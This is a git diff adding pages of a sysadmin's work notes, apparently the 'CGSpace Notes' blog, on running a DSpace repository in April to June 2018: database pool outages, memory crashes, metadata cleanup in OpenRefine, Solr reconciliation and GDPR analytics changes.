  • I confirm that it’s just giving a white page around 4:16
    • +
  • The DSpace logs show that there are no database connections:
    • +
+
org.apache.tomcat.jdbc.pool.PoolExhaustedException: [http-bio-127.0.0.1-8443-exec-715] Timeout: Pool empty. Unable to fetch a connection in 5 seconds, none available[size:250; busy:18; idle:0; lastwait:5000].
+
    +
  • And there have been shit tons of errors in the last (starting only 20 minutes ago luckily):
    • +
+
# grep -c 'org.apache.tomcat.jdbc.pool.PoolExhaustedException' /home/cgspace.cgiar.org/log/dspace.log.2018-04-20
+32147
+
    +
  • I can’t even log into PostgreSQL as the postgres user, WTF?
    • +
+
$ psql -c 'select * from pg_stat_activity' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c 
+^C
+
    +
  • Here are the most active IPs today:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "20/Apr/2018" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    917 207.46.13.182
+    935 213.55.99.121
+    970 40.77.167.134
+    978 207.46.13.80
+   1422 66.249.64.155
+   1577 50.116.102.77
+   2456 95.108.181.88
+   3216 104.196.152.243
+   4325 70.32.83.92
+  10718 45.5.184.2
+
    +
  • It doesn’t even seem like there is a lot of traffic compared to the previous days:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "20/Apr/2018" | wc -l
+74931
+# zcat --force /var/log/nginx/*.log.1 /var/log/nginx/*.log.2.gz| grep -E "19/Apr/2018" | wc -l
+91073
+# zcat --force /var/log/nginx/*.log.2.gz /var/log/nginx/*.log.3.gz| grep -E "18/Apr/2018" | wc -l
+93459
+
    +
  • I tried to restart Tomcat but systemctl hangs
    • +
  • I tried to reboot the server from the command line but after a few minutes it didn’t come back up
    • +
  • Looking at the Linode console I see that it is stuck trying to shut down
    • +
  • Even “Reboot” via Linode console doesn’t work!
    • +
  • After shutting it down a few times via the Linode console it finally rebooted
    • +
  • Everything is back but I have no idea what caused this—I suspect something with the hosting provider
    • +
  • Also super weird, the last entry in the DSpace log file is from 2018-04-20 16:35:09, and then immediately it goes to 2018-04-20 19:15:04 (three hours later!):
    • +
+
2018-04-20 16:35:09,144 ERROR org.dspace.app.util.AbstractDSpaceWebapp @ Failed to record shutdown in Webapp table.
+org.apache.tomcat.jdbc.pool.PoolExhaustedException: [localhost-startStop-2] Timeout: Pool empty. Unable to fetch a connection in 5 seconds, none available[size:250; busy:18; idle
+:0; lastwait:5000].
+        at org.apache.tomcat.jdbc.pool.ConnectionPool.borrowConnection(ConnectionPool.java:685)
+        at org.apache.tomcat.jdbc.pool.ConnectionPool.getConnection(ConnectionPool.java:187)
+        at org.apache.tomcat.jdbc.pool.DataSourceProxy.getConnection(DataSourceProxy.java:128)
+        at org.dspace.storage.rdbms.DatabaseManager.getConnection(DatabaseManager.java:632)
+        at org.dspace.core.Context.init(Context.java:121)
+        at org.dspace.core.Context.<init>(Context.java:95)
+        at org.dspace.app.util.AbstractDSpaceWebapp.deregister(AbstractDSpaceWebapp.java:97)
+        at org.dspace.app.util.DSpaceContextListener.contextDestroyed(DSpaceContextListener.java:146)
+        at org.apache.catalina.core.StandardContext.listenerStop(StandardContext.java:5115)
+        at org.apache.catalina.core.StandardContext.stopInternal(StandardContext.java:5779)
+        at org.apache.catalina.util.LifecycleBase.stop(LifecycleBase.java:224)
+        at org.apache.catalina.core.ContainerBase$StopChild.call(ContainerBase.java:1588)
+        at org.apache.catalina.core.ContainerBase$StopChild.call(ContainerBase.java:1577)
+        at java.util.concurrent.FutureTask.run(FutureTask.java:266)
+        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+        at java.lang.Thread.run(Thread.java:748)
+2018-04-20 19:15:04,006 INFO  org.dspace.core.ConfigurationManager @ Loading from classloader: file:/home/cgspace.cgiar.org/config/dspace.cfg
+
    +
  • Very suspect!
    • +
+

2018-04-24

+
    +
  • Testing my Ansible playbooks with a clean and updated installation of Ubuntu 18.04 and I fixed some issues that I hadn’t run into a few weeks ago
    • +
  • There seems to be a new issue with Java dependencies, though
    • +
  • The default-jre package is going to be Java 10 on Ubuntu 18.04, but I want to use openjdk-8-jre-headless (well, the JDK actually, but it uses this JRE)
    • +
  • Tomcat and Ant are fine with Java 8, but the maven package wants to pull in Java 10 for some reason
    • +
  • Looking closer, I see that maven depends on java7-runtime-headless, which is indeed provided by openjdk-8-jre-headless
    • +
  • So it must be one of Maven’s dependencies…
    • +
  • I will watch it for a few days because it could be an issue that will be resolved before Ubuntu 18.04’s release
    • +
  • Otherwise I will post a bug to the ubuntu-release mailing list
    • +
  • Looks like the only way to fix this is to install openjdk-8-jdk-headless before (so it pulls in the JRE) in a separate transaction, or to manually install openjdk-8-jre-headless in the same apt transaction as maven
    • +
  • Also, I started porting PostgreSQL 9.6 into the Ansible infrastructure scripts
    • +
  • This should be a drop in I believe, though I will definitely test it more locally as well as on DSpace Test once we move to DSpace 5.8 and Ubuntu 18.04 in the coming months
    • +
+

2018-04-25

+
    +
  • Still testing the Ansible infrastructure playbooks for Ubuntu 18.04, Tomcat 8.5, and PostgreSQL 9.6
    • +
  • One other new thing I notice is that PostgreSQL 9.6 no longer uses createuser and nocreateuser, as those have actually meant superuser and nosuperuser and have been deprecated for ten years
    • +
  • So for my notes, when I’m importing a CGSpace database dump I need to amend my notes to give super user permission to a user, rather than create user:
    • +
+
$ psql dspacetest -c 'alter user dspacetest superuser;'
+$ pg_restore -O -U dspacetest -d dspacetest -W -h localhost /tmp/dspace_2018-04-18.backup
+
    +
  • There’s another issue with Tomcat in Ubuntu 18.04:
    • +
+
25-Apr-2018 13:26:21.493 SEVERE [http-nio-127.0.0.1-8443-exec-1] org.apache.coyote.AbstractProtocol$ConnectionHandler.process Error reading request, ignored
+ java.lang.NoSuchMethodError: java.nio.ByteBuffer.position(I)Ljava/nio/ByteBuffer;
+        at org.apache.coyote.http11.Http11InputBuffer.init(Http11InputBuffer.java:688)
+        at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:672)
+        at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
+        at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:790)
+        at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1459)
+        at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
+        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+        at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+        at java.lang.Thread.run(Thread.java:748)
+
+

2018-04-29

+
    +
  • DSpace Test crashed again, looks like memory issues again
    • +
  • JVM heap size was last increased to 6144m but the system only has 8GB total so there’s not much we can do here other than get a bigger Linode instance or remove the massive Solr Statistics data
    • +
+

2018-04-30

+
    +
  • DSpace Test crashed again
    • +
  • I will email the CGSpace team to ask them whether or not we want to commit to having a public test server that accurately mirrors CGSpace (ie, to upgrade to the next largest Linode)
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2018-05/index.html b/docs/2018-05/index.html new file mode 100644 index 000000000..ffc59e338 --- /dev/null +++ b/docs/2018-05/index.html @@ -0,0 +1,577 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + May, 2018 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

May, 2018

+

+ + in + Notes + + +

+
+

2018-05-01

+
    +
  • I cleared the Solr statistics core on DSpace Test by issuing two commands directly to the Solr admin interface: +
      +
    • http://localhost:3000/solr/statistics/update?stream.body=%3Cdelete%3E%3Cquery%3E*:*%3C/query%3E%3C/delete%3E
      • +
    • http://localhost:3000/solr/statistics/update?stream.body=%3Ccommit/%3E
      • +
    +
    • +
  • Then I reduced the JVM heap size from 6144 back to 5120m
    • +
  • Also, I switched it to use OpenJDK instead of Oracle Java, as well as re-worked the Ansible infrastructure scripts to support hosts choosing which distribution they want to use
    • +
+

2018-05-02

+
    +
  • Advise Fabio Fidanza about integrating CGSpace content in the new CGIAR corporate website
    • +
  • I think they can mostly rely on using the cg.contributor.crp field
    • +
  • Looking over some IITA records for Sisay +
      +
    • Other than trimming and collapsing consecutive whitespace, I made some other corrections
      • +
    • I need to check the correct formatting of COTE D’IVOIRE vs COTE D’IVOIRE
      • +
    • I replaced all DOIs with HTTPS
      • +
    • I checked a few DOIs and found at least one that was missing, so I Googled the title of the paper and found the correct DOI
      • +
    • Also, I found an FAQ for DOI that says the dx.doi.org syntax is older, so I will replace all the DOIs with doi.org instead
      • +
    • I found five records with “ISI Jounal” instead of “ISI Journal”
      • +
    • I found one item with IITA subject “.”
      • +
    • Need to remember to check the facets for things like this in sponsorship: +
        +
      • Deutsche Gesellschaft für Internationale Zusammenarbeit
        • +
      • Deutsche Gesellschaft fur Internationale Zusammenarbeit
        • +
      +
      • +
    • Eight records with language “fn” instead of “fr”
      • +
    • One incorrect type (lowercase “proceedings”): Conference proceedings
      • +
    • Found some capitalized CRPs in cg.contributor.crp
      • +
    • Found some incorrect author affiliations, ie “Institut de Recherche pour le Developpement Agricolc” should be “Institut de Recherche pour le Developpement Agricole”
      • +
    • Wow, and for sponsors there are the following: +
        +
      • Incorrect: Flemish Agency for Development Cooperation and Technical Assistance
        • +
      • Incorrect: Flemish Organization for Development Cooperation and Technical Assistance
        • +
      • Correct: Flemish Association for Development Cooperation and Technical Assistance
        • +
      +
      • +
    • One item had region “WEST” (I corrected it to “WEST AFRICA”)
      • +
    +
    • +
+

2018-05-03

+
    +
  • It turns out that the IITA records that I was helping Sisay with in March were imported in 2018-04 without a final check by Abenet or I
    • +
  • There are lots of errors on language, CRP, and even some encoding errors on abstract fields
    • +
  • I export them and include the hidden metadata fields like dc.date.accessioned so I can filter the ones from 2018-04 and correct them in Open Refine:
    • +
+
$ dspace metadata-export -a -f /tmp/iita.csv -i 10568/68616
+
    +
  • Abenet sent a list of 46 ORCID identifiers for ILRI authors so I need to get their names using my resolve-orcids.py script and merge them into our controlled vocabulary
    • +
  • On the messed up IITA records from 2018-04 I see sixty DOIs in incorrect format (cg.identifier.doi)
    • +
+

2018-05-06

+
    +
  • Fixing the IITA records from Sisay, sixty DOIs have completely invalid format like http:dx.doi.org10.1016j.cropro.2008.07.003
    • +
  • I corrected all the DOIs and then checked them for validity with a quick bash loop:
    • +
+
$ for line in $(< /tmp/links.txt); do echo $line; http --print h $line; done
+
    +
  • Most of the links are good, though one is duplicate and one seems to even be incorrect in the publisher’s site so…
    • +
  • Also, there are some duplicates: +
      +
    • 10568/92241 and 10568/92230 (same DOI)
      • +
    • 10568/92151 and 10568/92150 (same ISBN)
      • +
    • 10568/92291 and 10568/92286 (same citation, title, authors, year)
      • +
    +
    • +
  • Messed up abstracts: +
      +
    • 10568/92309
      • +
    +
    • +
  • Fixed some issues in regions, countries, sponsors, ISSN, and cleaned whitespace errors from citation, abstract, author, and titles
    • +
  • Fixed all issues with CRPs
    • +
  • A few more interesting Unicode characters to look for in text fields like author, abstracts, and citations might be: ’ (0x2019), · (0x00b7), and € (0x20ac)
    • +
  • A custom text facit in OpenRefine with this GREL expression could be a good for finding invalid characters or encoding errors in authors, abstracts, etc:
    • +
+
or(
+  isNotNull(value.match(/.*[(|)].*/)),
+  isNotNull(value.match(/.*\uFFFD.*/)),
+  isNotNull(value.match(/.*\u00A0.*/)),
+  isNotNull(value.match(/.*\u200A.*/)),
+  isNotNull(value.match(/.*\u2019.*/)),
+  isNotNull(value.match(/.*\u00b7.*/)),
+  isNotNull(value.match(/.*\u20ac.*/))
+)
+
    +
  • I found some more IITA records that Sisay imported on 2018-03-23 that have invalid CRP names, so now I kinda want to check those ones!
    • +
  • Combine the ORCID identifiers Abenet sent with our existing list and resolve their names using the resolve-orcids.py script:
    • +
+
$ cat ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-id.xml /tmp/ilri-orcids.txt | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq > /tmp/2018-05-06-combined.txt
+$ ./resolve-orcids.py -i /tmp/2018-05-06-combined.txt -o /tmp/2018-05-06-combined-names.txt -d
+# sort names, copy to cg-creator-id.xml, add XML formatting, and then format with tidy (preserving accents)
+$ tidy -xml -utf8 -iq -m -w 0 dspace/config/controlled-vocabularies/cg-creator-id.xml
+
    +
  • I made a pull request (#373) for this that I’ll merge some time next week (I’m expecting Atmire to get back to us about DSpace 5.8 soon)
    • +
  • After testing quickly I just decided to merge it, and I noticed that I don’t even need to restart Tomcat for the changes to get loaded
    • +
+

2018-05-07

+
    +
  • I spent a bit of time playing with conciliator and Solr, trying to figure out how to reconcile columns in OpenRefine with data in our existing Solr cores (like CRP subjects)
    • +
  • The documentation regarding the Solr stuff is limited, and I cannot figure out what all the fields in conciliator.properties are supposed to be
    • +
  • But then I found reconcile-csv, which allows you to reconcile against values in a CSV file!
    • +
  • That, combined with splitting our multi-value fields on “||” in OpenRefine is amaaaaazing, because after reconciliation you can just join them again
    • +
  • Oh wow, you can also facet on the individual values once you’ve split them! That’s going to be amazing for proofing CRPs, subjects, etc.
    • +
+

2018-05-09

+
    +
  • Udana asked about the Book Chapters we had been proofing on DSpace Test in 2018-04
    • +
  • I told him that there were still some TODO items for him on that data, for example to update the dc.language.iso field for the Spanish items
    • +
  • I was trying to remember how I parsed the input-forms.xml using xmllint to extract subjects neatly
    • +
  • I could use it with reconcile-csv or to populate a Solr instance for reconciliation
    • +
  • This XPath expression gets close, but outputs all items on one line:
    • +
+
$ xmllint --xpath '//value-pairs[@value-pairs-name="crpsubject"]/pair/stored-value/node()' dspace/config/input-forms.xml        
+Agriculture for Nutrition and HealthBig DataClimate Change, Agriculture and Food SecurityExcellence in BreedingFishForests, Trees and AgroforestryGenebanksGrain Legumes and Dryland CerealsLivestockMaizePolicies, Institutions and MarketsRiceRoots, Tubers and BananasWater, Land and EcosystemsWheatAquatic Agricultural SystemsDryland CerealsDryland SystemsGrain LegumesIntegrated Systems for the Humid TropicsLivestock and Fish
+
    +
  • Maybe xmlstarlet is better:
    • +
+
$ xmlstarlet sel -t -v '//value-pairs[@value-pairs-name="crpsubject"]/pair/stored-value/text()' dspace/config/input-forms.xml
+Agriculture for Nutrition and Health
+Big Data
+Climate Change, Agriculture and Food Security
+Excellence in Breeding
+Fish
+Forests, Trees and Agroforestry
+Genebanks
+Grain Legumes and Dryland Cereals
+Livestock
+Maize
+Policies, Institutions and Markets
+Rice
+Roots, Tubers and Bananas
+Water, Land and Ecosystems
+Wheat
+Aquatic Agricultural Systems
+Dryland Cereals
+Dryland Systems
+Grain Legumes
+Integrated Systems for the Humid Tropics
+Livestock and Fish
+
    +
  • Discuss Colombian BNARS harvesting the CIAT data from CGSpace
    • +
  • They are using a system called Primo and the only options for data harvesting in that system are via FTP and OAI
    • +
  • I told them to get all CIAT records via OAI
    • +
  • Just a note to myself, I figured out how to get reconcile-csv to run from source rather than running the old pre-compiled JAR file:
    • +
+
$ lein run /tmp/crps.csv name id
+
    +
  • I tried to reconcile against a CSV of our countries but reconcile-csv crashes
    • +
+

2018-05-13

+
    +
  • It turns out there was a space in my “country” header that was causing reconcile-csv to crash
    • +
  • After removing that it works fine!
    • +
  • Looking at Sisay’s 2,640 CIFOR records on DSpace Test (10568/92904) +
      +
    • Trimmed all leading / trailing white space and condensed multiple spaces into one
      • +
    • Corrected DOIs to use HTTPS and “doi.org” instead of “dx.doi.org” +
        +
      • There are eight items in cg.identifier.doi that are not DOIs)
        • +
      +
      • +
    • Corrected cg.identifier.url links to cifor.org to use HTTPS
      • +
    • Corrected dc.language.iso from vt to vi (Vietnamese)
      • +
    • Corrected affiliations to not use acronyms
      • +
    • Reconcile countries against our countries list (removing terms like LATIN AMERICA, CENTRAL AFRICA, etc that are not countries)
      • +
    • Reconcile regions against our list of regions
      • +
    +
    • +
+

2018-05-14

+
    +
  • Send a message to the OpenRefine mailing list about the bug with reconciling multi-value cells
    • +
  • Help Silvia Alonso get a list of all her publications since 2013 from Listings and Reports
    • +
+

2018-05-15

+
    +
  • Turns out I was doing the OpenRefine reconciliation wrong: I needed to copy the matched values to a new column!
    • +
  • Also, I learned how to do something cool with Jython expressions in OpenRefine
    • +
  • This will fetch a URL and return its HTTP response code:
    • +
+
import urllib2
+import re
+
+pattern = re.compile('.*10.1016.*')
+if pattern.match(value):
+  get = urllib2.urlopen(value)
+  return get.getcode()
+
+return "blank"
+
    +
  • I used a regex to limit it to just some of the DOIs in this case because there were thousands of URLs
    • +
  • Here the response code would be 200, 404, etc, or “blank” if there is no URL for that item
    • +
  • You could use this in a facet or in a new column
    • +
  • More information and good examples here: https://programminghistorian.org/lessons/fetch-and-parse-data-with-openrefine
    • +
  • Finish looking at the 2,640 CIFOR records on DSpace Test (10568/92904), cleaning up authors and adding collection mappings
    • +
  • They can now be moved to CGSpace as far as I’m concerned, but I don’t know if Sisay will do it or me
    • +
  • I was checking the CIFOR data for duplicates using Atmire’s Metadata Quality Module (and found some duplicates actually), but then DSpace died…
    • +
  • I didn’t see anything in the Tomcat, DSpace, or Solr logs, but I saw this in dmest -T:
    • +
+
[Tue May 15 12:10:01 2018] Out of memory: Kill process 3763 (java) score 706 or sacrifice child
+[Tue May 15 12:10:01 2018] Killed process 3763 (java) total-vm:14667688kB, anon-rss:5705268kB, file-rss:0kB, shmem-rss:0kB
+[Tue May 15 12:10:01 2018] oom_reaper: reaped process 3763 (java), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
+
    +
  • So the Linux kernel killed Java…
    • +
  • Maria from Bioversity mailed to say she got an error while submitting an item on CGSpace:
    • +
+
Unable to load Submission Information, since WorkspaceID (ID:S96060) is not a valid in-process submission
+
    +
  • Looking in the DSpace log I see something related:
    • +
+
2018-05-15 12:35:30,858 INFO  org.dspace.submit.step.CompleteStep @ m.garruccio@cgiar.org:session_id=8AC4499945F38B45EF7A1226E3042DAE:submission_complete:Completed submission with id=96060
+
    +
  • So I’m not sure…
    • +
  • I finally figured out how to get OpenRefine to reconcile values from Solr via conciliator:
    • +
  • The trick was to use a more appropriate Solr fieldType text_en instead of text_general so that more terms match, for example uppercase and lower case:
    • +
+
$ ./bin/solr start
+$ ./bin/solr create_core -c countries
+$ curl -X POST -H 'Content-type:application/json' --data-binary '{"add-field": {"name":"country", "type":"text_en", "multiValued":false, "stored":true}}' http://localhost:8983/solr/countries/schema
+$ ./bin/post -c countries ~/src/git/DSpace/2018-05-10-countries.csv
+
    +
  • It still doesn’t catch simple mistakes like “ALBANI” or “AL BANIA” for “ALBANIA”, and it doesn’t return scores, so I have to select matches manually:
    • +
+

OpenRefine reconciling countries from local Solr

+
    +
  • I should probably make a general copy field and set it to be the default search field, like DSpace’s search core does (see schema.xml):
    • +
+
<defaultSearchField>search_text</defaultSearchField>
+...
+<copyField source="*" dest="search_text"/>
+
    +
  • Actually, I wonder how much of their schema I could just copy…
    • +
  • Apparently the default search field is the df parameter and you could technically just add it to the query string, so no need to bother with that in the schema now
    • +
  • I copied over the DSpace search_text field type from the DSpace Solr config (had to remove some properties so Solr would start) but it doesn’t seem to be any better at matching than the text_en type
    • +
  • I think I need to focus on trying to return scores with conciliator
    • +
+

2018-05-16

+
    +
  • Discuss GDPR with James Stapleton +
      +
    • As far as I see it, we are “Data Controllers” on CGSpace because we store peoples’ names, emails, and phone numbers if they register
      • +
    • We set cookies on the user’s computer, but these do not contain personally identifiable information (PII) and they are “session” cookies which are deleted when the user closes their browser
      • +
    • We use Google Analytics to track website usage, which makes Google the “Data Processor” and in this case we merely need to limit or obfuscate the information we send to them
      • +
    • As the only personally identifiable information we send is the user’s IP address, I think we only need to enable IP Address Anonymization in our analytics.js code snippets
      • +
    • Then we can add a “Privacy” page to CGSpace that makes all of this clear
      • +
    +
    • +
  • Silvia asked if I could sort the records in her Listings and Report output and it turns out that the options are misconfigured in dspace/config/modules/atmire-listings-and-reports.cfg
    • +
  • I created and merged a pull request to fix the sorting issue in Listings and Reports (#374)
    • +
  • Regarding the IP Address Anonymization for GDPR, I ammended the Google Analytics snippet in page-structure-alterations.xsl to:
    • +
+
ga('send', 'pageview', {
+  'anonymizeIp': true
+});
+
    +
  • I tested loading a certain page before and after adding this and afterwards I saw that the parameter aip=1 was being sent with the analytics response to Google
    • +
  • According to the analytics.js protocol parameter documentation this means that IPs are being anonymized
    • +
  • After finding and fixing some duplicates in IITA’s IITA_April_27 test collection on DSpace Test (10568/92703) I told Sisay that he can move them to IITA’s Journal Articles collection on CGSpace
    • +
+

2018-05-17

+
    +
  • Testing reconciliation of countries against Solr via conciliator, I notice that CÔTE D'IVOIRE doesn’t match COTE D'IVOIRE, whereas with reconcile-csv it does
    • +
  • Also, when reconciling regions against Solr via conciliator EASTERN AFRICA doesn’t match EAST AFRICA, whereas with reconcile-csv it does
    • +
  • And SOUTH AMERICA matches both SOUTH ASIA and SOUTH AMERICA with the same match score of 2… WTF.
    • +
  • It could be that I just need to tune the query filter in Solr (currently using the example text_en field type)
    • +
  • Oh sweet, it turns out that the issue with searching for characters with accents is called “code folding” in Solr
    • +
  • You can use either a solr.ASCIIFoldingFilterFactory filter or a solr.MappingCharFilterFactory charFilter mapping against mapping-FoldToASCII.txt
    • +
  • Also see: https://opensourceconnections.com/blog/2017/02/20/solr-utf8/
    • +
  • Now CÔTE D'IVOIRE matches COTE D'IVOIRE!
    • +
  • I’m not sure which method is better, perhaps the solr.ASCIIFoldingFilterFactory filter because it doesn’t require copying the mapping-FoldToASCII.txt file
    • +
  • And actually I’m not entirely sure about the order of filtering before tokenizing, etc…
    • +
  • Ah, I see that charFilter must be before the tokenizer because it works on a stream, whereas filter operates on tokenized input so it must come after the tokenizer
    • +
  • Regarding the use of the charFilter vs the filter class before and after the tokenizer, respectively, I think it’s better to use the charFilter to normalize the input stream before tokenizing it as I have no idea what kinda stuff might get removed by the tokenizer
    • +
  • Skype with Geoffrey from IITA in Nairobi who wants to deposit records to CGSpace via the REST API but I told him that this skips the submission workflows and because we cannot guarantee the data quality we would not allow anyone to use it this way
    • +
  • I finished making the XMLUI changes for anonymization of IP addresses in Google Analytics and merged the changes to the 5_x-prod branch (#375
    • +
  • Also, I think we might be able to implement opt-out functionality for Google Analytics using a window property that could be managed by storing its status in a cookie
    • +
  • This cookie could be set by a user clicking a link in a privacy policy, for example
    • +
  • The additional Javascript could be easily added to our existing googleAnalytics template in each XMLUI theme
    • +
+

2018-05-18

+ +

2018-05-20

+
    +
  • Run all system updates on DSpace Test (linode19), re-deploy DSpace with latest 5_x-dev branch (including GDPR IP anonymization), and reboot the server
    • +
  • Run all system updates on CGSpace (linode18), re-deploy DSpace with latest 5_x-dev branch (including GDPR IP anonymization), and reboot the server
    • +
+

2018-05-21

+
    +
  • Geoffrey from IITA got back with more questions about depositing items programatically into the CGSpace workflow
    • +
  • I pointed out that SWORD might be an option, as DSpace supports the SWORDv2 protocol (although we have never tested it)
    • +
  • Work on implementing cookie consent popup for all XMLUI themes (SASS theme with primary / secondary branding from Bootstrap)
    • +
+

2018-05-22

+
    +
  • Skype with James Stapleton about last minute GDPR wording
    • +
  • After spending yesterday working on integration and theming of the cookieconsent popup, today I cannot get the damn “Agree” button to dismiss the popup!
    • +
  • I tried calling it several ways, via jQuery, via a function in page-structure-alterations.xsl, via script tags in <head> in page-structure.xsl, and a few others
    • +
  • The only way it actually works is if I paste it into the community or collection HTML
    • +
  • Oh, actually in testing it appears this is not true
    • +
  • This is a waste of TWO full days of work
    • +
  • Marissa Van Epp asked if I could add PII-FP1_PACCA2 to the CCAFS phase II project tags on CGSpace so I created a ticket to track it (#376)
    • +
+

2018-05-23

+
    +
  • I’m investigating how many non-CGIAR users we have registered on CGSpace:
    • +
+
dspace=# select email, netid from eperson where email not like '%cgiar.org%' and email like '%@%';
+
    +
  • We might need to do something regarding these users for GDPR compliance because we have their names, emails, and potentially phone numbers
    • +
  • I decided that I will just use the cookieconsent script as is, since it looks good and technically does set the cookie with “allow” or “dismiss”
    • +
  • I wrote a quick conditional to check if the user has agreed or not before enabling Google Analytics
    • +
  • I made a pull request for the GDPR compliance popup (#377) and merged it to the 5_x-prod branch
    • +
  • I will deploy it to CGSpace tonight
    • +
+

2018-05-28

+
    +
  • Daniel Haile-Michael sent a message that CGSpace was down (I am currently in Oregon so the time difference is ~10 hours)
    • +
  • I looked in the logs but didn’t see anything that would be the cause of the crash
    • +
  • Atmire finalized the DSpace 5.8 testing and sent a pull request: https://github.com/ilri/DSpace/pull/378
    • +
  • They have asked if I can test this and get back to them by June 11th
    • +
+

2018-05-30

+
    +
  • Talk to Samantha from Bioversity about something related to Google Analytics, I’m still not sure what they want
    • +
  • DSpace Test crashed last night, seems to be related to system memory (not JVM heap)
    • +
  • I see this in dmesg:
    • +
+
[Wed May 30 00:00:39 2018] Out of memory: Kill process 6082 (java) score 697 or sacrifice child
+[Wed May 30 00:00:39 2018] Killed process 6082 (java) total-vm:14876264kB, anon-rss:5683372kB, file-rss:0kB, shmem-rss:0kB
+[Wed May 30 00:00:40 2018] oom_reaper: reaped process 6082 (java), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
+
    +
  • I need to check the Tomcat JVM heap size/usage, command line JVM heap size (for cron jobs), and PostgreSQL memory usage
    • +
  • It might be possible to adjust some things, but eventually we’ll need a larger VPS instance
    • +
  • For some reason there are no JVM stats in Munin, ugh
    • +
  • Run all system updates on DSpace Test and reboot it
    • +
  • I generated a list of CIFOR duplicates from the CIFOR_May_9 collection using the Atmire MQM module and then dumped the HTML source so I could process it for sending to Vika
    • +
  • I used grep to filter all relevant handle lines from the HTML source then used sed to insert a newline before each “Item1” line (as the duplicates are grouped like Item1, Item2, Item3 for each set of duplicates):
    • +
+
$ grep -E 'aspect.duplicatechecker.DuplicateResults.field.del_handle_[0-9]{1,3}_Item' ~/Desktop/https\ _dspacetest.cgiar.org_atmire_metadata-quality_duplicate-checker.html > ~/cifor-duplicates.txt
+$ sed 's/.*Item1.*/\n&/g' ~/cifor-duplicates.txt > ~/cifor-duplicates-cleaned.txt
+
    +
  • I told Vika to look through the list manually and indicate which ones are indeed duplicates that we should delete, and which ones to map to CIFOR’s collection
    • +
  • A few weeks ago Peter wanted a list of authors from the ILRI collections, so I need to find a way to get the handles of all those collections
    • +
  • I can use the /communities/{id}/collections endpoint of the REST API but it only takes IDs (not handles) and doesn’t seem to descend into sub communities
    • +
  • Shit, so I need the IDs for the the top-level ILRI community and all its sub communities (and their sub communities)
    • +
  • There has got to be a better way to do this than going to each community and getting their handles and IDs manually
    • +
  • Oh shit, I literally already wrote a script to get all collections in a community hierarchy from the REST API: rest-find-collections.py
    • +
  • The output isn’t great, but all the handles and IDs are printed in debug mode:
    • +
+
$ ./rest-find-collections.py -u https://cgspace.cgiar.org/rest -d 10568/1 2> /tmp/ilri-collections.txt
+
    +
  • Then I format the list of handles and put it into this SQL query to export authors from items ONLY in those collections (too many to list here):
    • +
+
dspace=# \copy (select distinct text_value, count(*) from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'author') AND resource_type_id = 2 AND resource_id IN (select item_id from collection2item where collection_id IN (select resource_id from handle where handle in ('10568/67236','10568/67274',...))) group by text_value order by count desc) to /tmp/ilri-authors.csv with csv;
+

2018-05-31

+
    +
  • Clarify CGSpace’s usage of Google Analytics and personally identifiable information during user registration for Bioversity team who had been asking about GDPR compliance
    • +
  • Testing running PostgreSQL in a Docker container on localhost because when I’m on Arch Linux there isn’t an easily installable package for particular PostgreSQL versions
    • +
  • Now I can just use Docker:
    • +
+
$ docker pull postgres:9.5-alpine
+$ docker run --name dspacedb -e POSTGRES_PASSWORD=postgres -p 5432:5432 -d postgres:9.5-alpine
+$ createuser -h localhost -U postgres --pwprompt dspacetest
+$ createdb -h localhost -U postgres -O dspacetest --encoding=UNICODE dspacetest
+$ psql -h localhost -U postgres dspacetest -c 'alter user dspacetest superuser;'
+$ pg_restore -h localhost -O -U dspacetest -d dspacetest -W -h localhost ~/Downloads/cgspace_2018-05-30.backup
+$ psql -h localhost -U postgres dspacetest -c 'alter user dspacetest nosuperuser;'
+$ psql -h localhost -U dspacetest -f ~/src/git/DSpace/dspace/etc/postgres/update-sequences.sql dspacetest
+$ psql -h localhost -U postgres dspacetest
+
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2018-06/index.html b/docs/2018-06/index.html new file mode 100644 index 000000000..0c12c836b --- /dev/null +++ b/docs/2018-06/index.html @@ -0,0 +1,571 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + June, 2018 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

June, 2018

+

+ + in + Notes + + +

+
+

2018-06-04

+
    +
  • Test the DSpace 5.8 module upgrades from Atmire (#378) +
      +
    • There seems to be a problem with the CUA and L&R versions in pom.xml because they are using SNAPSHOT and it doesn’t build
      • +
    +
    • +
  • I added the new CCAFS Phase II Project Tag PII-FP1_PACCA2 and merged it into the 5_x-prod branch (#379)
    • +
  • I proofed and tested the ILRI author corrections that Peter sent back to me this week:
    • +
+
